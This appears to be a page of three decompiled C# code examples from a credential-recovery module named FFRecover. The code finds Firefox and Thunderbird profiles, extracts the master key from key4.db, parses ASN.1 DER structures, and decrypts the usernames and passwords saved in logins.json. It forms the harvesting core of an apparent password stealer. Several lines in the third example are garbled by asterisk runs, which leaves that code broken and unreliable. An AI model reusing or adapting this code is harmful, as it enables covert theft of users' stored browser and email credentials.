Example #1
0
 // Token: 0x060000EF RID: 239 RVA: 0x0000D83C File Offset: 0x0000BA3C
 public byte[] CheckKey4DB(string directory)
 {
     byte[] result;
     try
     {
         FFRecover.Asn1Der asn1Der      = new FFRecover.Asn1Der();
         byte[]            dataToParse  = new byte[0];
         byte[]            globalSalt   = new byte[0];
         byte[]            dataToParse2 = new byte[0];
         byte[]            array        = new byte[0];
         this.GetItemsFromQuery(directory, ref globalSalt, ref dataToParse, "metaData");
         FFRecover.Asn1DerObject asn1DerObject = asn1Der.Parse(dataToParse);
         this.GetItemsFromQuery(directory, ref dataToParse2, ref array, "nssPrivate");
         object instance    = asn1Der.Parse(dataToParse2);
         object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(instance, null, "ObjLists", new object[]
         {
             0
         }, null, null, null), null, "ObjLists", new object[]
         {
             0
         }, null, null, null), null, "ObjLists", new object[]
         {
             1
         }, null, null, null), null, "ObjLists", new object[]
         {
             0
         }, null, null, null), null, "Data", new object[0], null, null, null));
         object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(NewLateBinding.LateGet(NewLateBinding.LateGet(instance, null, "ObjLists", new object[]
         {
             0
         }, null, null, null), null, "ObjLists", new object[]
         {
             1
         }, null, null, null), null, "Data", new object[0], null, null, null));
         result = this.decrypt3DES(globalSalt, (byte[])objectValue, (byte[])objectValue2);
     }
     catch (Exception ex)
     {
         result = null;
     }
     return(result);
 }
Example #2
0
        // Token: 0x060000EC RID: 236 RVA: 0x0000D52C File Offset: 0x0000B72C
        public FFRecover.Asn1DerObject Parse(byte[] dataToParse)
        {
            FFRecover.Asn1DerObject asn1DerObject = new FFRecover.Asn1DerObject();
            int num  = 0;
            int num2 = dataToParse.Length - 1;

            for (int i = num; i <= num2; i++)
            {
                FFRecover.Asn1Der.Type type = (FFRecover.Asn1Der.Type)dataToParse[i];
                if (type == FFRecover.Asn1Der.Type.Sequence)
                {
                    byte[] array;
                    if (asn1DerObject.Lenght == 0)
                    {
                        asn1DerObject.Type   = FFRecover.Asn1Der.Type.Sequence;
                        asn1DerObject.Lenght = dataToParse.Length - (i + 2);
                        array = new byte[asn1DerObject.Lenght - 1 + 1];
                    }
                    else
                    {
                        FFRecover.Asn1DerObject asn1DerObject2 = new FFRecover.Asn1DerObject();
                        asn1DerObject2.Type   = FFRecover.Asn1Der.Type.Sequence;
                        asn1DerObject2.Lenght = (int)dataToParse[i + 1];
                        asn1DerObject.ObjLists.Add(asn1DerObject2);
                        array = new byte[(int)(dataToParse[i + 1] - 1 + 1)];
                    }
                    if (array.Length > dataToParse.Length - (i + 2))
                    {
                        int length = dataToParse.Length - (i + 2);
                    }
                    else
                    {
                        int length = array.Length;
                    }
                    Array.Copy(dataToParse, i + 2, array, 0, array.Length);
                    asn1DerObject.ObjLists.Add(this.Parse(array));
                    i = i + 1 + (int)dataToParse[i + 1];
                }
                else if (type == FFRecover.Asn1Der.Type.Integerr)
                {
                    FFRecover.Asn1DerObject asn1DerObject3 = new FFRecover.Asn1DerObject();
                    asn1DerObject3.Type   = FFRecover.Asn1Der.Type.Integerr;
                    asn1DerObject3.Lenght = (int)dataToParse[i + 1];
                    asn1DerObject.ObjLists.Add(asn1DerObject3);
                    byte[] array = new byte[(int)(dataToParse[i + 1] - 1 + 1)];
                    int    length;
                    if (array.Length > dataToParse.Length - (i + 2))
                    {
                        length = dataToParse.Length - (i + 2);
                    }
                    else
                    {
                        length = array.Length;
                    }
                    Array.Copy(dataToParse, i + 2, array, 0, length);
                    asn1DerObject.ObjLists[asn1DerObject.ObjLists.Count - 1].Data = array;
                    i = i + 1 + asn1DerObject.ObjLists[asn1DerObject.ObjLists.Count - 1].Lenght;
                }
                else if (type == FFRecover.Asn1Der.Type.OctetString)
                {
                    FFRecover.Asn1DerObject asn1DerObject4 = new FFRecover.Asn1DerObject();
                    asn1DerObject4.Type   = FFRecover.Asn1Der.Type.OctetString;
                    asn1DerObject4.Lenght = (int)dataToParse[i + 1];
                    asn1DerObject.ObjLists.Add(asn1DerObject4);
                    byte[] array = new byte[(int)(dataToParse[i + 1] - 1 + 1)];
                    int    length;
                    if (array.Length > dataToParse.Length - (i + 2))
                    {
                        length = dataToParse.Length - (i + 2);
                    }
                    else
                    {
                        length = array.Length;
                    }
                    Array.Copy(dataToParse, i + 2, array, 0, length);
                    asn1DerObject.ObjLists[asn1DerObject.ObjLists.Count - 1].Data = array;
                    i = i + 1 + asn1DerObject.ObjLists[asn1DerObject.ObjLists.Count - 1].Lenght;
                }
                else if (type == FFRecover.Asn1Der.Type.ObjectIdentifier)
                {
                    FFRecover.Asn1DerObject asn1DerObject5 = new FFRecover.Asn1DerObject();
                    asn1DerObject5.Type   = FFRecover.Asn1Der.Type.ObjectIdentifier;
                    asn1DerObject5.Lenght = (int)dataToParse[i + 1];
                    asn1DerObject.ObjLists.Add(asn1DerObject5);
                    byte[] array = new byte[(int)(dataToParse[i + 1] - 1 + 1)];
                    int    length;
                    if (array.Length > dataToParse.Length - (i + 2))
                    {
                        length = dataToParse.Length - (i + 2);
                    }
                    else
                    {
                        length = array.Length;
                    }
                    Array.Copy(dataToParse, i + 2, array, 0, length);
                    asn1DerObject.ObjLists[asn1DerObject.ObjLists.Count - 1].Data = array;
                    i = i + 1 + asn1DerObject.ObjLists[asn1DerObject.ObjLists.Count - 1].Lenght;
                }
            }
            return(asn1DerObject);
        }
Example #3
0
    // Token: 0x060000B7 RID: 183 RVA: 0x0000D238 File Offset: 0x0000B438
    public static object FFTB(string type)
    {
        string text  = string.Empty;
        string text2 = string.Empty;

        try
        {
            if (Operators.CompareString(type, "Thunderbird", false) == 0)
            {
                text = Interaction.Environ("appdata") + "\\Thunderbird";
            }
            else if (Operators.CompareString(type, "Firefox", false) == 0)
            {
                text = Interaction.Environ("appdata") + "\\Mozilla\\Firefox";
            }
            if (Directory.Exists(text))
            {
                foreach (string str in Directory.GetDirectories(text + "\\Profiles"))
                {
                    string text3 = str + "\\key4.db";
                    if (File.Exists(text3))
                    {
                        FFRecover.DBHelper dbhelper = new FFRecover.DBHelper();
                        byte[]             key      = new byte[24];
                        key = dbhelper.CheckKey4DB(text3);
                        string   text4 = File.ReadAllText(str + "\\logins.json");
                        string[] array = text4.Split(new string[]
                        {
                            "\"hostname\":\""
                        }, StringSplitOptions.None);
                        int num  = 1;
                        int num2 = array.Length - 1;
                        for (int j = num; j <= num2; j++)
                        {
                            if (Operators.CompareString(text2, string.Empty, false) == 0)
                            {
                                text2 = text2 + type + ": \r\n";
                            }
                            text2 = text2 + "URL: " + FileZillaRecover.MidStr(array[j], "", "\",\"") + "\r\n";
                            string                  s              = FileZillaRecover.MidStr(array[j], "encryptedUsername\":\"", "\",\"encryptedPassword");
                            string                  s2             = FileZillaRecover.MidStr(array[j], "encryptedPassword\":\"", "\",\"guid");
                            FFRecover.Asn1Der       asn1Der        = new FFRecover.Asn1Der();
                            FFRecover.Asn1DerObject asn1DerObject  = asn1Der.Parse(Convert.FromBase64String(s));
                            FFRecover.Asn1DerObject asn1DerObject2 = asn1Der.Parse(Convert.FromBase64String(s2));
                            string                  input          = Conversions.ToString(FFRecover.TripleDESHelper.DESCBCDecryptor(key, asn1DerObject.ObjLists[0].ObjLists[1].ObjLists[1].Data, asn1DerObject.ObjLists[0].ObjLists[2].Data, true));
                            string                  input2         = Conversions.ToString(FFRecover.TripleDESHelper.DESCBCDecryptor(key, asn1DerObject2.ObjLists[0].ObjLists[1].ObjLists[1].Data, asn1DerObject2.ObjLists[0].ObjLists[2].Data, true));
                            text2 = text2 + "User: "******"[^\\u0020-\\u007F]", "") + "\r\n";
                            text2 = text2 + "Pass: "******"[^\\u0020-\\u007F]", "") + "\r\n\r\n";
                        }
                    }
                }
            }
            if (Operators.CompareString(text2, string.Empty, false) != 0)
            {
                text2 += "\r\n";
            }
        }
        catch (Exception ex)
        {
        }
        return(text2);
    }